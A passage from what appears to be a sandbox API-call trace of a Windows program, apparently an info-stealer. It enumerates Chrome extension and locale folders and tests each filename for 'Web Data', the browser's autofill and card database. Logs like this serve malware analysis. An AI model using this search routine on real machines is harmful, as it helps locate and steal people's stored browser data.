lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.441] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.441] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.441] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.441] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.446] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.446] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.446] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.446] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.447] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.447] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.447] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.447] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.448] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.448] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.448] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.448] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.448] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Web Data") returned 0x0 [0054.448] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0054.449] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0x72db50 [0054.449] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.455] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0054.455] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0054.455] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.456] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.457] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.457] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.457] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.459] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.459] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.459] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.460] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.460] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.460] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.460] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.461] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.461] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.461] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.461] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.461] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.461] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.462] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.462] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.463] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.463] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.463] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.463] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.464] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.464] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.464] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.464] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.465] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.465] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.465] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.465] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.465] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.465] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.466] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.466] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.466] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.466] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.466] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.466] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.467] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.467] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.467] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.467] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.467] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.468] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.468] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.469] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.469] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.469] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.469] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.470] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.470] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.470] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.470] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.470] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.470] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.471] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.471] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.471] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.471] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.471] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.471] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.472] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.472] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.472] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.473] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.473] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.473] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.473] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.473] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.473] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.473] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.474] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.474] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.474] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.474] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.475] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.475] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.475] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.475] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.475] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.475] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.475] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0054.476] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.476] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0054.476] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0054.476] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.486] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.486] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.487] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.487] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.487] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.487] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.487] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.487] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.488] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.488] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.488] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.488] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.488] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.488] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.489] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.489] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.489] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.491] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.491] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.491] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.492] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.492] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.492] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.492] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.493] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 